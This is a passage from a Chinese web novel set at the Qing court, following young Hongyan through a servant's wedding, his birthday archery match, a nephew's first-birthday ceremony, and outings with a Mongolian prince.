平民甲:“陈家好大的面子,竟然能请动雍亲王世子观礼。” 他这辈子可都没见过皇亲国戚到平民百姓家里来观礼吃席呢。 他现在还在怀疑,两只眼睛是不是看花了,耳朵是不是听错了。 平民乙:“哪里是陈家的面子大,分明是石家的面子,你不知道吗?当初石家母女被雍亲王世子所救,进了王府当差呢。” 他和石家是在一个村子里住着,对于石家的事很是清楚。 平民丙:“你瞧,那站在雍亲王世子左边的就是石蕊的亲哥哥石泉,那可是世子爷的贴身太监,将来的前途不可限量。” 这说话的声音说大不大,可说小也不小,石泉恰好听得清楚,腰板挺得更直了,看向红盖头的眼神里都是兄长对幼妹的疼爱和不舍。 而坐在椅子上的弘晏,自然也听清楚了这话,满意的扬了扬嘴角。 弘晏就是想让石泉知道,他不是他妹妹石蕊不可见人的阴影和污点,而是石蕊这辈子坚实的靠山和底气。 拜堂仪式完成,周氏笑着流了泪。 而石蕊却在此时将红盖头掀开,拉着丈夫陈山的手走到了弘晏的面前跪下:“世子,若无世子,便无奴婢今日,奴婢与丈夫陈山拜谢世子。” 石蕊话落,便与陈山一起给弘晏叩了头。 弘晏笑着开口:“石蕊,你是自由身,不必再称呼自己为‘奴婢’,再者,若要谢,你更该谢过你的亲哥哥才是。” “世子说的是。”石蕊说完,便叫人又搬来了凳子,而后扶着石泉坐下。 待石泉坐稳当之后,石蕊跪在了石泉面前,抬眼瞧着石泉,石蕊不禁红了眼眶:“长兄如父,哥哥为我,为娘,为这个家承担了太多,今日妹妹出嫁,还请哥哥受妹妹一拜。” 石蕊说完,眼泪已然从眼眶涌了出来,紧接着深深的对石泉磕了一个头。 陈山跪在石蕊身旁,一脸认真且坚定的表态:“大哥,还请大哥放心,日后我一定会好好照顾娘子,不叫她受任何委屈。” 话音落下,陈山同样给石泉磕了头。 上首的陈山爹娘连连点头,周氏拿着帕子擦眼泪,堂上的众宾客则是拍手叫好。 石泉红着眼眶将石蕊与陈山搀扶了起来。 拜堂仪式正式结束,宴席开始,弘晏被陈山爹娘请到了主位上坐着。 陈山的爹拱手道:“事先不知世子爷亲临,这些粗茶淡饭,还望世子爷海涵。” 弘晏扫了一眼喜宴,鸡鸭鱼肉都有,已然很不错了。 随即,弘晏摆摆手:“无妨,你也坐下吧。” 这些菜肴虽然不如皇宫王府的精致,但是味道还不错。 作为新郎官的陈山开始敬酒,第一杯酒自然是要来敬弘晏的。 陈山递酒杯给弘晏:“世子,薄酒一杯,还望世子莫怪。” 弘晏端起了茶杯:“我不能喝酒,就以茶代酒吧,祝你与石蕊百年好合。” 陈山笑着应声:“是,多谢世子。” 敬完弘晏,陈山先后敬了周氏与石泉,便去敬旁的宾客了。 弘晏吃饱喝足之后,就带着人离开了大兴县。 马车上,喝了酒的石泉又开始向弘晏作揖道谢。 弘晏只道:“若真要谢,以后好好当差就是了。” 进城以后,弘晏便吩咐何进去买了好多好吃的小食,才回了雍亲王府。 进了雍亲王府,弘晏先去正院给乌拉那拉氏报平安,而后将买来的栗子糕喂给乌拉那拉氏吃,又给银烛和流萤一人分了一串冰糖葫芦。 弘晏坐在乌拉那拉氏身旁,给乌拉那拉氏讲了自己在陈家的见闻,又陪着乌拉那拉氏坐了一会儿,便回前院去了。 这厢,弘晏踏进学堂,弘昼鼓了鼓嘴:“六弟,你跑去吃席,也不带上我。” 一旁的弘历开始拆台:“五弟,你午膳也没少啊。” 弘昼哼了哼:“四哥,这能是一回事吗?” “五哥,我怎么会忘了你,瞧瞧,我给你带了什么。”弘晏话音落下,田玉就将弘晏买的小食拎了过来,而后一样样打开。 “烤鸭、桂花糕、糖人儿、胡麻饼,嘿嘿,六弟还是你最好了。”弘昼扑上去搂住了弘晏。 弘历见状,笑着摇了摇脑袋。 第133章 第133章百发百中 日子一晃,到了弘晏的九岁生辰宴,雍亲王府的奴才们又忙活起来。 夜幕降临,前院正厅的生辰宴也正式开始了,这时,苏培盛忽然走进来通禀:“爷,皇上带着二十三阿哥来了。” 众人闻言,连忙起身出去迎康熙。 胤禛打千儿道:“儿臣不知汗阿玛驾到,未曾远迎,还请汗阿玛恕罪。” 康熙抬手:“无妨,都起来吧。” 待众人站起身,胤祁直接跑到了弘晏面前,笑嘿嘿的说道:“福宝,我可是求了汗阿玛好久,他才答应带我出宫来参加你的生辰宴。” 弘晏笑着拱手:“多谢二十三叔。” 康熙看向与弘晏告状的胤祁,哼道:“还不是你背不会文章。” 胤祁小河豚似的冲着康熙鼓了鼓嘴巴。 这时,胤禛做了个“请”的姿势,众人跟着康熙进了正厅。 而胤祁边走边拉着弘晏开始聊天:“福宝,你不知道,我过生辰的时候,你不是送了我一个齐天大圣的木雕吗,我叫二十四弟看了以后,他也想要一个,汗阿玛就命内务府照着样子给二十四弟也做了一个。” 弘晏闻言,回答道:“早知道二十四喜欢,我就也送他一个。” 胤祁哼了哼:“他又不过生辰,送他做甚?不过,虽然二十四弟也有了,但我的齐天大圣木雕是你专门送的,意义不一样的。” 弘晏与胤祁边说边走就进了正厅。 到了正厅,胤禛请康熙上坐。 宴席过半,便开始送礼物环节了。 康熙这次送给弘晏的生辰礼物是西洋的望远镜。 弘晏迫不及待的试 了试,果然能将远处的景色收入眼底。 弘晏手里拿着望远镜,笑得眉眼弯弯:“多谢皇玛法。” 胤祁拉了拉弘晏的袖子:“汗阿玛疼你,这望远镜都不舍得给我呢。” 胤祁又开始告他的状,康熙眉头一挑:“你若是能将箭术练好,汗阿玛就赏你一个。” 他的私库里还有两个呢。 胤祁撅着嘴,一脸的不乐意:“汗阿玛要求百发百中也太难了些。” 随后,胤祁又看向了弘晏:“福宝,你说是吧。” 弘晏与他同岁,肯定能理解他的难处。 弘晏只是笑笑不说话。 康熙却开了口:“福宝的箭术可比你好。” 胤祁很不服气,冲着康熙努努嘴:“那等吃完饭就比比呗。” “好,朕有此意。”康熙说完,看向了弘晏。 弘晏读懂了康熙的眼神。 康熙是想让他把真本事露出来,以此激励胤祁上进。 弘晏正想着,胤祁又开了口:“福宝,我准备的生辰礼还没给你呢。” 胤祁说完,跟着的御前小太监便将胤祁准备的生辰礼呈了上来。 是一个琉璃沙漏。 弘晏眼睛都亮了:“好好看,谢谢二十三叔。” 这琉璃沙漏若是白天放在太阳下,定然光彩夺目,更是好看。 接下来,便轮到胤禛了。 胤禛准备的生辰礼是一副镶嵌了宝石的马鞍。 弘晏也是笑呵呵的收下:“多谢阿玛。” 这次过生辰,弘晏又收到了不少宝贝。 宴席结束,众人移坐到院子里,看弘晏和胤祁比试箭术。 院子里挂着灯笼,也掌了灯。 弘晏与胤祁站到同一条水平线上,一人五只羽箭,射中靶心最多者胜出。 胤祁未曾在晚上射过箭,第一只箭只中在了靶子的外环,胤祁瞥向了一旁的弘晏,弘晏第一箭却射中了靶心,这可激起了胤祁的斗志。 弘晏虽然也未在夜间射箭,不过他日日练习射箭,自然有了手感。 很快,弘晏与胤祁的五只羽箭都射完了。 苏培盛开始通报比试结果。 胤祁射五箭,中靶心三箭。 弘晏射五箭,中靶心五箭。 两个箭靶放在一块,谁胜出是显而易见的事儿。 康熙翘了翘嘴角:“怎么样,胤祁?” 这小子平日里总是偷懒,一比试就现了原型了。 “夜里黑,孩儿不适应,一开始没瞧清楚。”胤祁给自己找补完,又看向弘晏说道:“福宝,咱们再比比如何?” 康熙端起了茶盏:“福宝,既然胤祁没尽兴,你就与他再比试一回吧。” 弘晏瞧着康熙一幅看好戏的模样,在心里对着胤祁说了一句“对不住”,便开始上难度了。 弘晏从箭筒里拿出来两只羽箭,看着胤祁说道:“二十三叔,这一回,我们比两箭齐发如何?” 胤祁很是震惊:“啊?” 这时,喝完茶的康熙开始激将:“胤祁,你的箭术怕是做不了两箭齐发,还是不要再比了。” 明明是他自己不服气,要拉着弘晏再比试的,现在又说不比了,岂不是自己打自己的脸,胤祁扬着小脸儿:“要比,我当然可以。” 康熙的目的得逞,便笑道:“那就快开始吧。” 说大话容易,可一上手,胤祁就后悔了,这难度确实不是他现在的水平能做到的,但箭在弦上不得不发了,胤祁硬着头皮射出了两支羽箭。 结果就是,一支羽箭插在了靶子的外环,另一支羽箭水灵灵的脱靶了。 胤祁的表情十分苦涩,转而望向了弘晏的靶子。 此时,弘晏的箭靶的靶心上已然插着四支羽箭,而弘晏本人正气定神闲的射着第五和第六支羽箭。 胤祁赶忙收回视线,自己黑自己打气。 很快,第二轮比试结束。 胤祁的箭靶零零散散的插着几支羽箭,而弘晏射出去的所有羽箭都插在了靶心上,靶心外空空荡荡,而靶心内已然满满当当的了。 苏培盛没有通报比试结果,因为比试结果一目了然,他也得给二十三阿哥留点儿面子了。 此时的胤祁十分惭愧:“福宝你好厉害,我比不上你。” 亏他还是做叔叔的呢。 弘晏抱了抱胤祁:“二十三叔,你只要勤加练习,假以时日也可以做到的。” 百发百中的背后,也是他一日复一日的汗水。 胤祁闻言,点了点头:“福宝,我会的,等我练好了,我们再来比一场。” 弘晏笑了:“好,我等着二十三叔。” 不远处的胤禛看着弘晏虽然嘴上什么都没说,但眼神里却满是欣慰与骄傲。 这时,康熙把弘晏和胤祁叫到了自己身边来。 康熙先看向了胤祁,抬手揉了揉胤祁的小脑袋瓜:“小二十三,你今日明白了道理,这场比试就没有白比。” 随后,康熙又望向了弘晏:“福宝,你学箭术没几年就能练成这般模样,很让皇玛法惊喜啊。” 弘晏只道:“皇玛法,孙儿还不够好,在圆明园,孙儿见过皇玛法一次射三箭的英武场面,孙儿向皇玛法学习,希望早日能如皇玛法一样英武。” 康熙没有想到那次他的心血来潮,倒是让弘晏记得这般深刻,还以他为榜样,这让康熙意外又欢喜。 康熙满是慈爱的摸了摸弘晏的小脑袋:“福宝志向远大,皇玛法相信,福宝很快就能实现这个愿望,甚至在不久的将来,福宝还能超过皇玛法。” 康熙说完,便站起了身子:“时候不早了,该带小二十三回宫了。” 胤禛带着众人跪安:“儿臣恭送汗阿玛。” “夜深了,不必送了。”康熙说完,便拉着胤祁的手往雍亲王府的正门走去。 胤祁由着康熙拉着他往前走,不时的回头看向弘晏。 而弘晏露出灿烂的笑,朝着胤祁挥手再见。 弘晏的生辰宴落下帷幕,众人各自散去。 弘晏沐浴更衣完毕后,便回了寝房。 弘晏坐在床榻上,拿起望远镜透过窗子往向天边的明月。 这望远镜里呈现的月亮,是要比他肉眼瞧见的要清晰一些,更明亮一些。 次日,弘晏用完午膳就将胤祁送给他的琉璃沙漏拿出来放在了太阳底下。 这琉璃沙漏在太阳光芒的照耀下,变得流光溢彩,熠熠生辉。 而后,弘晏将琉璃沙漏拿进了屋子,放在了檀木桌子上,又将琉璃沙漏倒扣过来,用西洋钟来计算上面沙漏完全漏下去所需的时间。 不多时,沙漏里的沙流尽了,弘晏同时锁定了西洋钟表走过的时间。 需要十分钟左右。 这时,田玉走过来说道:“世子,休息会儿吧,再过一刻钟就要上课了。” 弘晏应了一声“好”,便叫田玉把琉璃沙漏先放起来。 —— 秋天到了,雍亲王府也迎来了永珅的抓周礼。 前院正厅的地上铺了一层红毯子,红毯子上放满了各式各样的物品,董鄂婧雅抱着肉乎乎的永珅向上首的胤禛和乌拉那拉氏请过安后,便将永珅放在了红毯子上。 得到胤禛的授意之后,苏培盛开口高喊:“抓周仪式开始。” 弘晏、弘历与弘昼的目光自然也放在了永珅的身上。 眼见着永珅晃晃悠悠的迈开小短腿开始走,弘昼开了口:“四哥六弟,我们来打个赌怎么样?” 弘晏很好奇:“赌什么?” 弘历的目光也看向了弘昼。 弘昼忽闪着眼睛:“赌永珅会抓什么,输的人给赢的人一人一个金锞子,怎么样?” 弘晏一口答应:“好啊。” 弘历紧跟着点头。 弘昼又道:“那我先来,我觉得永珅会抓金勺子。” 金灿灿的勺子谁会不喜欢呢。 弘历一本正经道:“我觉得永珅会抓文房四宝。” 读书上进才是正道。 弘晏闻言,看向了弘历:“文房四宝包括笔墨纸砚,四哥,你这范围也太广了。” 既然是打赌,就要公平公正。 弘昼点头附和:“六弟说的对,四哥,你得说一个具体的东西才 行。” 弘历取舍过后,便道:“那就毛笔吧。” “六弟,该你了。”弘昼看向了弘晏。 弘晏扫了一眼红毯子上的物品,言道:“我选那个小算盘。” 三人的赌局开始后,三双眼睛齐齐的望向永珅。 弘昼握着拳头,嘴里还念念有词:“金勺子,金勺子。” 弘历颦了颦眉:“五弟,你这样可不行,永珅会听见的。” 弘昼随即将嘴巴合上,但小拳头却一挥一挥的,弘晏便知弘昼还在心里疯狂呐喊。 而懵懂的永珅在众人的目光中抓住了小算盘,而后就要往嘴里塞。 董鄂婧雅见状,忙走过去将永珅抱起来。 “嘿嘿,我赢了。”弘晏说着,看向弘历与弘昼伸出了两只手。 弘历和弘昼愿赌服输,一人给了弘晏一个金锞子。 弘昼还不忘问:“六弟,你怎么猜到永珅会抓小算盘的?” 弘历也好奇的望向了弘晏。 弘晏笑嘿嘿解释:“我运气好,蒙上了。” 其实,这是他的直觉。 而此时上首的胤禛抱住了永珅,想要拿过永珅的小算盘,永珅的小手却抓得紧紧的。 胤禛见状,哈哈笑起来。 胤禛的笑声吸引了弘晏,弘晏小跑过去:“阿玛,我也想抱永珅。” 说来,他还没有抱过大侄子呢。 “好,那你可小心点。”胤禛边嘱咐,边将怀里的永珅送进弘晏怀里,待弘晏完全抱稳了永珅,胤禛才松开了手。 而永珅感觉到自己进了一个陌生的怀抱,便开始打量起面前的弘晏。 弘晏露出灿烂的笑:“永珅,我是六叔啊。” 永珅许是认出了弘晏,也或许是感受到了弘晏对他的善意,下一瞬,便也咧着嘴笑起来。 永珅这一笑,口水也随着流出来。 乳母见状,便拿了帕子拭去永珅嘴角的口水。 弘历和弘昼自然也围过来看,而弘昼更是忍不住的抬起小手戳了戳永珅的小脸蛋儿:“好软啊。” 随即,弘昼又看向弘晏:“六弟,也让我抱抱永珅。” 胤禛闻言,出声拒绝:“你毛毛躁躁的,别摔了永珅。” 弘昼不服气的撅起嘴巴,开始为自己争取:“我比六弟的力气还大呢,六弟都能抱,我怎么抱不动。” 胤禛依旧没松口。 此时,弘历试探的开了口:“阿玛,我能抱抱永珅吗?” 胤禛点了点头。 下一瞬,弘历欢喜的从弘晏怀里将永珅抱过去。 而弘昼便开始了对胤禛的控诉:“阿玛,你太偏心了,四哥能抱,六弟能抱,为什么我不能抱?” 弘晏见状,便开始为弘昼说好话。 弘时与董鄂婧雅一起附和弘晏。 胤禛终是松了口:“好吧,弘昼,你可稳当些。” 然后,弘历神圣的将永珅托付到了弘昼的怀抱里。 弘昼咧着嘴笑:“阿玛,你看,永珅在我怀里多乖。” 胤禛没说话。 弘昼又看向了怀里的永珅:“永珅,叫五叔,五叔给你吃糖。” 弘昼话音刚落,便感觉身下一热,立马皱起了小脸儿:“永珅,你怎么在我身上撒尿了!” 乳母见状,忙将永珅抱下去换洗。 而弘历与弘晏立刻拉开和弘昼的距离。 上首的胤禛也笑了:“弘昼,这可是你自己抢着要抱永珅的。” 弘昼朝着胤禛哼了哼,便跑去净室洗澡去了。 呜呜,他再也不要抱永珅了! 第134章 第134章比试切磋 深秋露重,今年的冬天比往年来临的早了些,寒风凛冽刺骨,刮在人脸上生疼,一场大雪毫无预兆的在夜间降落,而幽禁在碧波苑的李侧福晋也在这场大雪里郁郁而终。 书房内的胤禛听完守卫的禀告,吩咐人打开了碧波苑的大门,李侧福晋的身后事按规矩办就是。 温暖如春的屋子里,董鄂婧雅坐在小榻上,眉眼带笑的拿着绣花针给永珅做衣裳,守在摇篮椅旁边的弘时正拿着拨浪鼓逗着躺在摇篮椅里,蹬着小短腿的永珅。 永珅伸出小手,想要去抓弘时手里的拨浪鼓,却总是抓不住。 因为弘时拿着拨浪鼓的手故意往后缩。 他心情清楚,永珅是拿不稳拨浪鼓的,若是给了他拨浪鼓,砸到脸上那就不好了。 这时,桂月掀开棉帘子进来福身:“三阿哥,福晋,李侧福晋歿了。” 弘时逗儿子而露出的笑容一僵,那握住拨浪鼓的手背显现出了青筋,接着“蹭”的站起来,满脸怒意的喝向桂月:“吃了豹子胆,竟敢诅咒我额娘。” 董鄂婧雅捏着绣花针的动作一顿,抬眼看向了桂月:“到底怎么回事?” 桂月低眸禀道:“三阿哥,福晋,奴婢怎敢诅咒侧福晋,在碧波苑把守的侍卫已然禀了王爷,王爷下令命高总管去办侧福晋的身后事了。” “吧嗒”一声,弘时手里的拨浪鼓落在了地上。 弘时听了这个噩耗,脑子轰然炸开,整个人都变得恍惚,喃喃道:“不会的,额娘,额娘。” 弘时发了疯似的往外跑。 外面的雪还在簌簌的往下落,弘时脚下一滑,整个人摔在了地上。 弘时挣扎着起身,跌跌撞撞的往碧波苑方向跑去。 他不相信,他不相信额娘就这样没了。 而这时,屋子里的董鄂婧雅嘱咐乳母照看好永珅,又叫桂月给自己披上了斗篷,才不紧不慢的往碧波苑赶去。 等董鄂婧雅到了碧波苑内,见到的便是弘时跪在没了气息的李侧福晋面前,哭得涕泗横流。 董鄂婧雅直挺挺的跪在弘时身边,象征性的哭了两下,便拿着帕子拭泪。 作为儿媳应有的礼数董鄂婧雅自然会做,但除了礼数之外,董鄂婧雅对李侧福晋这位婆母的确没什么感情。 弘时哭得很是伤心:“额娘,儿子无能,儿子救不了您出去。” 他没有想到,尘封已久的碧波苑再次被打开,竟然会是因为李侧福晋人没了。 虽然是雪天,但李侧福晋的身后事办得十分体面。 弘时心里稍稍有了些慰藉。 —— 时光荏苒,如 今已是康熙六十二年。 弘晏十岁了。 弘历与弘昼十岁时,已然慢慢开始抽条,而十岁的弘晏脸上还是肉嘟嘟的。 不过,弘晏并未觉得这有什么不好。 玉兔精就是要可可爱爱的。 从这年开始,弘晏就要练习骑射和摔跤了。 在马背上射箭难度系数自然大,不过弘晏喜欢挑战。 弘晏站立射靶练了好几年,他心里也清楚,这些本事在实际生活中运用起来是不可能静止不动的,好在弘晏和追风已然培养了非常好的默契。 没过几日,弘晏就能边骑马,边在马背上弯弓搭箭,将那高高挂在树枝上的香囊给射穿了。 到了康熙的万寿节前夕,蒙古亲王进京为康熙贺寿,弘晏也被康熙接到了宫里小住。 蒙古亲王这次进宫,给康熙献上了不少贺礼,同时,蒙古亲王也带来了草原上的勇士想要和大清的勇士切磋一番,也算是为康熙的万寿节助兴。 这样的小请求,康熙自然是答应的,便从御前侍卫中挑了几个武功拔尖儿的来和来自草原上的勇士比试。 御前侍卫的武功都是百里挑一的,刀/枪/棍棒样样精通,只是近身肉搏对于蒙古勇士来说是优点,但对于御前侍卫来说便是缺点了。 首先,在体形上,差距就特别大。 这厢,御前侍卫的功夫还没有施展出来,就被对面的蒙古勇士一个过肩摔摔下了比武场。 弘晏看着,都觉得肉疼。 眼瞧着御前侍卫落了下风,胤禩直接上了比武场。 这让作为观众的弘晏很是意外。 蒙古亲王也怔了怔:“皇上,八贝勒也上场吗?” 康熙笑着开口:“助兴而已。” 在蒙古亲王将视线投向比武场的时候,康熙的眸子沉了一瞬。 胤禩一向以温润如玉的面貌示于人前,是以连弘晏都觉得胤禩大概率是输定了,可胤禩自身的武功并不差,几个回合下来,也算是打了个平手。 蒙古亲王拍手叫好。 康熙脸上的笑容方真切了些。 弘晏偷瞄了一眼康熙,这便明白了。 胤禩沉寂了这么久,这是想在康熙面刷一波好感,来提高在康熙心中的地位。 弘晏正想着,胤禵也上了比武场。 胤禵的功夫更是没的说,几个回合下来,直接将蒙古勇士打下了演武场。 蒙古亲王哈哈大笑:“皇上,十四阿哥果真勇武啊。” 康熙矜持的笑了笑。 弘晏看向了自己的便宜阿玛。 便宜阿玛什么都好,就是武术方面的造诣不行。 弘晏正在心里嘀咕,一旁的田玉唤道:“世子,皇上叫你呢。” 弘晏这才回过神来,走到了康熙面前,拱手道:“孙儿见过皇玛法,见过蒙古亲王。” 康熙这便开始为蒙古亲王介绍:“这是朕皇四子膝下的第六子,也是朕的爱孙弘晏。” 蒙古亲王招了招手,将一个穿着蒙古服饰的与他差不多大的孩子叫上来:“皇上,这是我的孙儿格日乐图。” 随即,名唤格日乐图的蒙古小王子给康熙请安。 蒙古亲王又道:“皇上,我这孙儿与你的孙儿同岁,不妨叫他们比试比试啊。” 康熙闻言,点头道:“好。” 射箭可是弘晏的强项。 一上场,弘晏直接选择了两箭齐发的方式来与格日乐图比试,不仅赢了比试,还炫技了一把。 只是,接下来的比试弘晏就没了底气。 那就是摔跤。 他练习摔跤不久不说,就他与格日乐图面对面站在一起的时候,弘晏才发现格日乐图比他高了半个头。 首先在气势上,弘晏就落了下风。 是以,为了不让格日乐图小看自己,也是为了给自己打气,弘晏抬头看向格日乐图,露出了一个自认为很霸气的眼神。 可这眼神再配上一张肉嘟嘟的小脸,在格日乐图看来却是可爱的紧。 弘晏的脑袋上不禁冒出了三个问号,他没有看错的话,格日乐图嘴角上扬,这是在笑? 不容弘晏多想,铜锣敲响,比试已然开始了。 弘晏按照谙达教的摔跤要领,两只手去抓格乐图的肩。 这一抓,弘晏才发觉格日乐图小小年纪身上的肌肉却很紧实。 弘晏改变策略,用脚去绊格日乐图的小腿,可令弘晏震惊的是他用了十分的力,可格日乐图的身子纹丝不动。 弘晏还没想好下一步的策略,就吃了一个屁墩儿。 弘晏闷哼一声。 自己怎么就坐在地上了??? 等弘晏抬眼时,一只手出现在自己面前。 弘晏的视线上移,正是格日乐图伸出来的手,且格日乐图的脸上还带着笑。 那并不是嘲笑,而是善意的笑。 弘晏将手伸出去,覆在了格日乐图的手心,格日乐图瞬间抓紧了弘晏的手,将弘晏从地上拉起来。 待弘晏站稳后,格日乐图对着弘晏行了个蒙古礼。 弘晏明白,无论输赢,这是格日乐图对于对手的尊重。 弘晏也朝格日乐图拱手,作为回礼。 上首的康熙见了,看向蒙古亲王夸道:“你这孙儿好功夫啊。” 蒙古亲王忙道:“皇上,你的孙儿才是好箭法啊。” 康熙的万寿节热热闹闹的结束后,胤禛、乌拉那拉氏与弘晏坐着马车打道回府。 车厢内,乌拉那拉氏满眼心疼的瞧着弘晏:“摔疼了吧?” 弘晏一愣,反应过来乌拉那拉氏指的是什么之后,笑了笑:“额娘,我早就不疼了。” 他屁股肉多,只是当时与地面亲密接触的时候微痛罢了。 乌拉那拉氏眼里还是心疼,抬起手揉了揉弘晏的小脑袋。 弘晏的生活恢复了往日的平静,他正常上课、练习骑射,可他没想到一日之后,魏珠带着格日乐图来了雍亲王府。 魏珠瞧着意外又疑惑的弘晏,解释起来:“世子,小王子是第一次入京,皇上的意思是请世子陪着小王子在京城四处走走。” 康熙的万寿节虽然结束了,但蒙古亲王还要在宫里小住些日子。 蒙古亲王日日随侍康熙左右,格日乐图将皇宫逛了遍,便想出宫走走,但若他一个人逛,人生地不熟也没什么意思,所以格日乐图想到了与他一起比试的弘晏。 弘晏明白了魏珠的意思:“劳公公禀报皇玛法,孙儿会好好照顾小王子的。” 魏珠笑着颔首,随即回宫复命去了。 “小王子,请吧。” 格日乐图看着弘晏笑:“叫我名字就好。” 弘晏点头。 两个人便以名字互称。 弘晏带着格日乐图上了热闹的大街,格日乐图看什么都新鲜,弘晏问道:“想玩玩套圈吗?” 格日乐图的目光看向了弘晏手指的方向。 只见一个穿长衫的男子拿着竹编的圈环套中了一个瓷瓶,那摊主就将瓷瓶送给了他。 格日乐图觉得有些意思,便走了过去。 弘晏一个眼神,田玉付了银子,摊主将十个圈环递给弘晏,弘晏又给了格日乐图。 格日乐图准头不错,套中了六个东西。 摊主很是震惊。 从他做这生意以来,还没有客人能一口气套中这么多呢。 格日乐图的胜利品交给了田玉和石泉收着,二人继续向前走。 弘晏又问道:“格日乐图,这家的羊肉酥饼不错,要尝尝吗?” 格日乐图点头。 等田玉买好了羊肉酥饼,格日乐图只尝了一口,就摇起了脑袋:“这羊肉比起我们草原上的,可差远了。” 弘晏吃着是挺香的,不过格日乐图在草原上长大,吃惯了牛羊肉,或许这种羊肉对于他来说,口感就是一般般的了:“那你想吃什么?” 弘晏歪着脑袋问。 格日乐图抬手指:“那个,看着不错。” 弘晏一抬眼,格日乐图原来说的是冰糖葫芦。 “田玉,去买吧。”弘晏开了口。 格日乐图吃着冰糖葫芦,眼睛亮了:“酸酸甜甜,这个味道好。” “你喜欢就好。”弘晏说着,便与格日乐图继续往前面走。 拐过一条街,格日乐图看见了乌泱泱的人头:“前面好多人啊。” 第135章 第135章送别朋友 弘晏看着格日乐图很感兴趣,同时他也很好奇,便拉着格日乐图挤进了人群中央,原来这些人是在斗鸡。 格日乐图很是疑惑:“弘晏,他们这么多人都在看这些公鸡做什么?” “他们在斗鸡。”弘晏看向格日乐图解释。 “斗鸡?”格日乐图说完,两个穿长衫的人各自选定了一只鸡,而后将两只鸡放上了战场,围观的人压完钱之后,两只鸡就开始互啄起来。 “真有意思。”格日乐图看着,心就痒痒起来。 而弘晏瞧着那只落败的鸡被对手啄的不成样子,一时间觉得有些残忍。 这时,格日乐图拉了拉弘晏的手:“弘晏,我们也来斗一斗吧。” 弘晏看向眼睛亮亮的格日乐图,答道:“好。” 既然是陪格日乐图出来玩,自然要让他尽兴才好。 田玉将钱袋递给弘晏,弘晏付了银子,便让格日乐图从鸡笼里选一只。 格日乐图左瞧瞧,右看看,最终选了一只花色的公鸡。 与格日乐图的公鸡对战的是一只白色的公鸡,而那只白色公鸡的主人穿着锦缎做成的衣裳,手里摇着折扇,还歪着膀子,一看就是一个纨绔公子。 斗鸡开始之前,先下注,弘晏将钱袋里剩下的银子都压给了格日乐图,而围观的人,只要是出钱下注的都压给了那个纨绔子弟。 纨绔子弟很是不屑,俯视着弘晏和格日乐图:“小孩儿,待会儿输了可别哭啊。” 弘晏立马反击:“谁输谁赢还不一定呢。” 他相信格日乐图的眼光。 纨绔子弟轻蔑一笑,不以为意:“行,那咱就瞧瞧。” 话音落下,斗鸡正式开始。 格日乐图选中的那只花色公鸡一上来就对那 只白色的公鸡发起了猛烈的攻击,将这只白色的公鸡打的节节败退,更是被花色公鸡啄掉了不少鸡毛。 很快,白色公鸡落下阵来,而格日乐图选中的花色公鸡赢了这一场。 这也就意味着,方才那些人压给纨绔子弟的银子都归了他们了。 弘晏一个眼神,田玉便将赢来的银子都装了起来。 格日乐图挑衅的看向了纨绔子弟。 纨绔子弟见状,将折扇一合:“小孩儿,敢不敢再来一局?” 输给两个小孩儿,他不服。 格日乐图笑问:“你还有银子吗?” “小爷银子多的是。”纨绔子弟话音落下,一旁的小厮就拿出了一个鼓鼓囊囊的荷包。 纨绔子弟将荷包打开,将里面装着的十个银锭全都倒了下来:“刚才那只鸡不行,小爷这局要换一只。” 说罢,纨绔子弟从鸡笼里挑出来一个看着就像凶狠的公鸡。 这只公鸡比格日乐图选中的那只花色公鸡强壮了一倍,纨绔子弟一幅胜券在握的模样,又摇起了折扇:“小孩儿,你现在换一只,还来得及。” 别到时他赢了,说他欺负小孩儿。 弘晏也看向了格日乐图:“要换吗?” 这只公鸡刚才已然搏斗了一场,浪费了体力。 而纨绔子弟选中的这只公鸡,一看就是休养了很久,目光十分犀利。 格日乐图闻言,看向了那只花色公鸡,在与花色公鸡进行过眼神交流之后,格日乐图坚定的看向了弘晏,随即摇了摇脑袋。 因为上一局格日乐图赢了,除了弘晏,这次围观的人有不少压了格日乐图,还有的人因为觉得纨绔子弟选中的这只公鸡更为厉害,所以继续选择了格日乐图。 下注结束,纨绔子弟看向摊主:“那就开始吧。” 第二场斗鸡开始,那只凶狠的公鸡果然一上场就对花色公鸡进行了猛烈的攻击,由于体型的悬殊,花色公鸡只能选择躲避。 纨绔子弟瞧着花色公鸡的鸡毛被自己的公鸡啄掉了几根,乐得笑了出来:“好,啄它,继续啄。” 弘晏与格日乐图都很沉得住气,并没有被纨绔子弟和围观的人影响到。 不到最后一刻,一切都是未知。 就在纨绔子弟得意之时,花色的公鸡抓住时机进行反扑,把这只凶狠的公鸡啄得毫无还手之力。 纨绔子弟见战局扭转,没了笑脸开始骂道:“啄啊,你这只笨鸡,快啄啊。” 最终,还是格日乐图所选中的花色公鸡赢了战局。 靠着这只花色公鸡,弘晏又大挣了一笔。 格日乐图双手抱胸看向纨绔子弟:“怎么样?还来吗?” 纨绔子弟身上的银子都输尽了,脸也丢光了,却故作大气道:“小爷今天心情好,让让你们两个小孩儿。” 纨绔子弟说着,指向了自己战败的公鸡,开始骂骂咧咧:“连你也敢瞪我,小心小爷把你顿了熬汤。” 那只鸡好似听懂了纨绔子弟的话,随即扑棱起翅膀,冲着纨绔子弟的手指叼了一口。 “啊——” 纨绔子弟抖着手,惊恐道:“血,流血了。” 那小厮赶忙拉着纨绔子弟向医馆的方向跑走了。 围观的人纷纷开始笑这主仆二人。 弘晏和格日乐图也离开了这斗鸡的摊子。 格日乐图哼道:“动物都是有灵性的,那人被公鸡啄了也是活该。” 无论输赢,那只公鸡都是尽了全力的。 弘晏点头:“目光短浅,以貌取人。” 时候不早了,弘晏与格日乐图往回走,而宫里的马车已然在雍亲王府门外等着格日乐图了。 在格日乐图上马车之前,弘晏将沉甸甸的钱袋递给格日乐图:“斗鸡挣的。” 公鸡是格日乐图选的,这银子理应归格日乐图。 格日乐图没接,反而推了推弘晏递过来的钱袋:“弘晏,今日多谢你陪我玩,明日我还来。” 弘晏笑了:“好。” 目送着格日乐图的马车走远,弘晏转身进了雍亲王府。 次日,格日乐图与弘晏在郊外赛马,累了二人便从马背上下来,慢悠悠的牵着马儿吃草。 弘晏忽而问道:“我的马儿叫‘追风’,你的呢?” 格日乐图笑着回答:“它叫‘铁塔’。” 到了下午,弘晏带着格日乐图来钓鱼。 格日乐图坐了一刻钟的时间,瞧了瞧毫无动静的鱼竿,便抬眼问向身旁坐着的弘晏:“你有鱼上钩吗?” 弘晏笑着开口:“别着急,会有的。” 格日乐图将视线收回,继续看自己面前的鱼竿。 又过了一刻钟,还没有鱼儿上钩,此时的格日乐图已然没了耐性:“弘晏,我想换个法子。” 